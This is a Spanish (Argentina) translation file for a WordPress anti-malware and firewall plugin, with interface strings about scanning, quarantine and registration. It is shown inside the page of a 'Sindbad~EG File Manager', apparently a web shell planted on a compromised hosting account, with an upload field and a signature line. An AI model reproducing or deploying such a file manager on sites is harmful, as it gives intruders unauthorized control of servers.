Sindbad~EG File Manager

Current Path : /home/escuelai/www/wp-content/plugins/gotmls/languages/
Upload File :
Current File : /home/escuelai/www/wp-content/plugins/gotmls/languages/gotmls-es_AR.po

# Translation of Plugins - Anti-Malware Security and Brute-Force Firewall - Development (trunk) in Spanish (Argentina)
# This file is distributed under the same license as the Plugins - Anti-Malware Security and Brute-Force Firewall - Development (trunk) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2015-12-07 15:45:31+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: GlotPress/2.4.0-alpha\n"
"Language: es_AR\n"
"Project-Id-Version: Plugins - Anti-Malware Security and Brute-Force Firewall - Development (trunk)\n"

#: index.php:686
msgid "Date Infected"
msgstr "Fecha de Infección"

#: index.php:686
msgid "Quarantined"
msgstr "En caurentena"

#: index.php:881
msgid "Firewall Options"
msgstr "Opciones de Firewall"

#: index.php:853
msgid "Your username is \"admin\", this is the most commonly guessed username by hackers and brute-force scripts. It is highly recommended that you change your username immediately."
msgstr "Su nombre de usuario es \"admin\", es el más utilizado por hackers y ataques de brute-force scripts. Recomendamos encarecidamente que cambie su nombre de usuario ahora."

#: images/index.php:156
msgid "Invalid or expired Nonce Token!"
msgstr "Código inválido o expirado"

#: index.php:1133
msgid "Save Settings"
msgstr "Guardar configuración."

#: index.php:1772
msgid "Potential threats in file:"
msgstr "Amenazas potenciales en archivo:"

#: index.php:1772
msgid "Are you sure this file is not infected and you want to ignore it in future scans?"
msgstr "¿Está seguro que este archivo no está infectado y quiere ignorarlo en futuras exploraciones?"

#: index.php:1729
msgid "The file %s does not exist, it must have already been deleted."
msgstr "El archivo %s no existe, es posible que ya haya sido eliminado."

#: index.php:1712
msgid "This file no longer exists in the quarantine."
msgstr "Este archivo ya no existe en la Bóveda de Virus (Cuarentena)."

#: index.php:1710
msgid "File Details:"
msgstr "Detalles del archivo:"

#: index.php:1710
msgid "Are you sure you want to delete this file from the quarantine?"
msgstr "Está seguro que desea eliminar este archivo de la Bóveda de Virus (Cuarentena) ?"

#: index.php:1641
msgid "Nothing Selected to be Changed!"
msgstr "Nada seleccionado para modificarse!"

#: index.php:1639
msgid "Never mind, it worked!"
msgstr "No importa, funcionó!"

#: index.php:1639
msgid "Because some changes were made we need to check to make sure it did not break your site. If this stays Red and the frame below does not load please <a %s>revert the changes</a> made during this automated fix process."
msgstr "Como realizamos algunos cambios queremos confirmar que su sitio no sufrió inconvenientes. Si esta sección permanece ROJA y el cuadro de abajo no carga por favor  <a %s>reveirta los cambios</a> realizados durante el proceso."

#: index.php:1619
msgid "Restore Failed!"
msgstr "Error al recuperar!"

#: index.php:1616
msgid "Complete!"
msgstr "Finalizado!"

#: index.php:1608
msgid "Failed to delete!"
msgstr "Error al eliminar!"

#: index.php:1605 index.php:1641 index.php:1643
msgid "Done!"
msgstr "Listo!"

#: index.php:1552
msgid "Failed to empty the trash."
msgstr "Error al vaciar la papelera."

#: index.php:1538
msgid "saved."
msgstr "guardado."

#: index.php:1534
msgid "New position"
msgstr "Nueva posición"

#: index.php:1351
msgid "Starting Scan ..."
msgstr "Comenzando escanneo..."

#: index.php:1349
msgid "Completed!"
msgstr "Finalizado!"

#: index.php:1316
msgid "Scan Details:"
msgstr "Detalles del escanneo:"

#: index.php:841 index.php:1313
msgid "read my blog"
msgstr "leer mi blog"

#: index.php:1257
msgid "You are not currently scanning for this type of threat!"
msgstr "Actualmente no estás buscando este tipo de amenaza!"

#: index.php:1206
msgid "Scan Complete!"
msgstr "Escanneo completo!"

#: index.php:1174
msgid "WP-Login Updates"
msgstr "Actualizacione de WP-Login"

#: index.php:1142
msgid "Quarantined Files"
msgstr "Archivos en cuarentena (Bóveda de Virus)"

#: index.php:1142
msgid "Read/Write Errors"
msgstr "Errores para Leer / Escribir"

#: index.php:1142
msgid "Skipped Files"
msgstr "Archivos omitidos"

#: index.php:1142
msgid "Skipped Folders"
msgstr "Carpetas omitidas"

#: index.php:1142
msgid "Scanned Folders"
msgstr "Carpetas escanneadas"

#: index.php:1142
msgid "Scanned Files"
msgstr "Archivos escanneados"

#: index.php:1088
msgid "Run Complete Scan"
msgstr "Realizar un escanneo completo"

#: index.php:1133
msgid "This new BETA feature is only available to registered users who have donated at a certain level."
msgstr "Esta opción BETA solamente está disponible para los usuarios registrados que donaron cierta cantidad."

#: index.php:1133
msgid "Automatically Update Definitions:"
msgstr "Automáticamente actualizar definiciones:"

#: index.php:1132
msgid "a folder name or comma separated list of folder names to skip"
msgstr "un nombre de carpeta o lista separada por comas de las carpetas a omitir"

#: index.php:1132
msgid "Skip directories with the following names:"
msgstr "Omitir los directorios con los siguientes nombres:"

#: index.php:1132
msgid "a comma separated list of file extentions to skip"
msgstr "una lista separa por comas de las extenciones a omitir"

#: index.php:1131
msgid "Skip files with the following extensions:"
msgstr "Omitir archivos con las siguientes extensiones:"

#: index.php:1126
msgid "For very advanced users only. Do not use this without talking to Eli first. If used incorrectly you could easily break your site."
msgstr "Para usuarios avanzados solamente. Hablar con Eli antes de utilizar. El uso incorrecto puede romper su sitio."

#: index.php:1123
msgid "-1 is infinite depth"
msgstr "-1 es profundidad infinita"

#: index.php:1123
msgid "how far to drill down"
msgstr "que tan profundo buscar"

#: index.php:1122
msgid "Scan Depth:"
msgstr "Profundidad de escaneo:"

#: index.php:1120
msgid "What to scan:"
msgstr "Qué escannear:"

#: index.php:1116
msgid "Download the new definitions (Right sidebar) to activate this feature."
msgstr "Descargar las nuevas definiciones de actualización (barra derecha) para activar esta opción."

#: index.php:1116
msgid "Download Definition Updates to Use this feature"
msgstr "Descargar las definiciones de actualización para utilizar esta opción"

#: index.php:1089
msgid "What to look for:"
msgstr "Qué buscar:"

#: index.php:1081
msgid "Only Scan These Folders:"
msgstr "Solamente escannear estas carpetas"

#: index.php:1284 index.php:1404
msgid "Scan Logs"
msgstr "Registro de escanneo"

#: index.php:712
msgid "Quarantine"
msgstr "Cuarentena"

#: index.php:709
msgid "White-lists"
msgstr "Lista blanca"

#: index.php:698
msgid "No Items in Quarantine"
msgstr "No hay archivos en cuarentena"

#: index.php:691
msgid "View Quarantined File"
msgstr "Ver archivo en cuarentena"

#: index.php:686
msgid " Items in Quarantine"
msgstr "Items en cuarentena"

#: index.php:685
msgid "Are you sure you want to permanently delete the selected files in the Quarantine?"
msgstr "Está seguro que desea eliminar permanentemente los archivos seleccionados en la cuarentena?"

#: index.php:685
msgid "Delete selected files"
msgstr "Eliminar archivos seleccionados"

#: index.php:685
msgid "Are you sure you want to overwrite the previously cleaned files with the selected files in the Quarantine?"
msgstr "Está seguro que desea sobrescribir los archivos previamente eliminados con los archivos seleccionados en la cuarentena?"

#: index.php:685
msgid "Restore selected files"
msgstr "Recuperar archivos seleccionados"

#: index.php:594
msgid "Date Updated"
msgstr "Fecha de actualización"

#: index.php:594
msgid "Globally White-listed files"
msgstr "Archivos generales colocados en lista blanca"

#: index.php:587
msgid "No Scans have been logged"
msgstr "No se registran escanneos"

#: index.php:545
msgid "Cleared %s records from this log."
msgstr "%s archivos eliminados de este registro."

#: index.php:471
msgid "Make a Donation with PayPal"
msgstr "Realizar una donación a través de PayPal"

#: index.php:448
msgid "Resources & Links"
msgstr "Recursos & Enlaces"

#: index.php:427
msgid "Submitting Registration ..."
msgstr "Enviar registro..."

#: index.php:422
msgid "Plugin Installation Key is a required field!"
msgstr "La Clave de instalación del plugin es un campo obligatorio!"

#: index.php:420
msgid "Your WordPress Site URL is a required field!"
msgstr "Su Wordpress URL es un campo obligatorio!"

#: index.php:412
msgid "Email Address is a required field!"
msgstr "El Email es un campo obligatorio!"

#: index.php:410
msgid "Last Name is a required field!"
msgstr "El Apellido es un campo obligatorio!"

#: index.php:408
msgid "First Name is a required field!"
msgstr "Su Nombre es un campo obligatorio!"

#: index.php:402
msgid "Please make a donation for the use of this wonderful feature!"
msgstr "Por favor realice una donación para utilizar esta excelente función!"

#: index.php:384
msgid "Plugin Installation Key:"
msgstr "Código de Instalación del Plugin"

#: index.php:381
msgid "Your WordPress Site URL:"
msgstr "Su URL de Wordpress es:"

#: index.php:378
msgid "A password will be e-mailed to this address:"
msgstr "Una contraseña será enviada a esta dirección de e-mail:"

#: index.php:374
msgid "Your Full Name:"
msgstr "Su Nombre Completo:"

#: index.php:372
msgid "If you have not already registered your Key then register now using the form below.<br />* All registration fields are required<br />** I will NOT share your information."
msgstr ""
"Si aún no ha registrado su código hágalo utilizando el siguiente formulario.\n"
"<br />* Todos los campos son obligatorios<br />\n"
"** NO COMPARTIRÉ SU INFORMACIÓN"

#: index.php:371
msgid "<p>Get instant access to definition updates.</p>"
msgstr "<p>Obtenga acceso instantáneo a las actualizaciones de definición.</p>"

#: index.php:368
msgid "Download new definitions!"
msgstr "Descargar nuevas definiciones!"

#: index.php:361
msgid "Updates & Registration"
msgstr "Actualizaciones & Registro"

#: index.php:265
msgid "No response from server!"
msgstr "El Servidor no responde!"

#: index.php:187
msgid "If this is taking too long, click here."
msgstr "Si esto toma demasiado mucho tiempo, hacer clic aquí."

#: index.php:127
msgid "Searching for updates ..."
msgstr "Buscando actualizaciones..."

#: index.php:118
msgid "Upgrade to %s now!"
msgstr "Mejora a %s ahora!"

#: index.php:105
msgid "Tested your site. It appears we didn't break anything"
msgstr "Probamos su sitio. Aparentemente no rompimos nada"

#: index.php:85
msgid "FAQs"
msgstr "FAQs"

#: index.php:79
msgid "Make sure the Definition Updates are current and Run a Complete Scan."
msgstr "Asegúrese que las definiciones de actualización son las presentes y realice un escaneo completo."

#: index.php:78
msgid "Getting Started"
msgstr "Comenzar"

#: images/index.php:897
msgid "Failed to read file!"
msgstr "Error al leer el archivo!"

#: images/index.php:883
msgid "Skipped because of file size (%1$s bytes) or file extention (%2$s)!"
msgstr "Omitido debito al tamaño de archivo (%1$s bytes) o la extensión (%2$s)!"

#: images/index.php:865
msgid "Failed to read directory!"
msgstr "Error al leer el directorio!"

#: images/index.php:833
msgid "Skipped because of file extention!"
msgstr "Omitido debido a la extensión del archivo!"

#: images/index.php:831
msgid "Skipped because of file size!"
msgstr "Omitido debido al tamaño del archivo!"

#: images/index.php:829
msgid "Failed to determine file size!"
msgstr "Error al determinar el tamaño de archivo!"

#: images/index.php:498 images/index.php:819
msgid "Examine File"
msgstr "Revisar archivo"

#: images/index.php:817
msgid "Examine Quarantined File"
msgstr "Revisar archivo en cuarentena"

#: images/index.php:776 images/index.php:908
msgid "Scanned %s"
msgstr "Escanneados %s"

#: images/index.php:759 images/index.php:858
msgid "Scanning %s"
msgstr "Escanneando %s"

#: images/index.php:727
msgid "Preparing %s"
msgstr "Preparando %s"

#: images/index.php:545 images/index.php:552
msgid "Already Fixed!"
msgstr "Ya Arreglado!"

#: images/index.php:531
msgid "no file contents!"
msgstr "archivo sin contenido!"

#: images/index.php:531
msgid "file not writable!"
msgstr "no se puede escribir en el archivo!"

#: images/index.php:531
msgid "failed to write!"
msgstr "error al escribir!"

#: images/index.php:531
msgid "reason unknown!"
msgstr "motivo desconocido!"

#: images/index.php:531
msgid "failed to quarantine!"
msgstr "error al poner en cuarentena!"

#: images/index.php:531
msgid "Failed:"
msgstr "Falló!"

#: images/index.php:493
msgid "File does not exist!"
msgstr "El archivo no existe!"

#: images/index.php:493
msgid "File not readable!"
msgstr "No se puede leer el archivo!"

#: images/index.php:493
msgid "File permissions read-only!"
msgstr "Permisos de archivo read-only! (leer solamente)"

#: images/index.php:493
msgid "Fixed file permissions! (try again)"
msgstr "Repare los permisos del archivo! (e intente nuevamente)"

#: images/index.php:493
msgid "Empty file!"
msgstr "Archivo vacío!"

#: images/index.php:493
msgid "Failed to read file contents!"
msgstr "Error al leer el contenido del archivo!"

#: images/index.php:301 safe-load/trace.php:17
msgid "unknown"
msgstr "desconocido"

#: images/index.php:299 safe-load/trace.php:15
msgid "an unknown file"
msgstr "un archivo desconocido"

#: images/index.php:125
msgid "Automatically Fix SELECTED Files Now"
msgstr "Corregir automáticamente los ARCHIVOS SELECCIONADOS ahora"

#: images/index.php:124
msgid "Loading, Please Wait ..."
msgstr "Cargando, por favor aguarde..."

#: images/index.php:123
msgid "Scan Settings"
msgstr "Escanear configuración"

#: images/index.php:122
msgid "This Plugin requires WordPress version %s or higher"
msgstr "Este Plugin requiere como mínimo la versión de Wordpress %s "

#: images/index.php:121
msgid "View Scan Log"
msgstr "Ver Scan Log"

#: images/index.php:120
msgid "View Quarantine"
msgstr "Ver Bóveda de Virus (Cuarentena)"

#: images/index.php:119
msgid "Quick Scan"
msgstr "Escanneo Rápido"

#: images/index.php:118
msgid "Failed to list files in directory!"
msgstr "Error en el directorio al listar archivos!"

#: images/index.php:105
msgid "Your Server could not start a Session!"
msgstr "El Servidor donde tiene instalado el sitio no puede comenzar la Sesión!"

#: images/index.php:101 index.php:766
msgid "This feature is available to those who have donated!"
msgstr "Puede utilizar esta función si realizó una donación!"

#: images/index.php:101 index.php:766
msgid "You must register and donate to use this feature!"
msgstr "Debe registrarse y donar para utilizar esta función!"

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists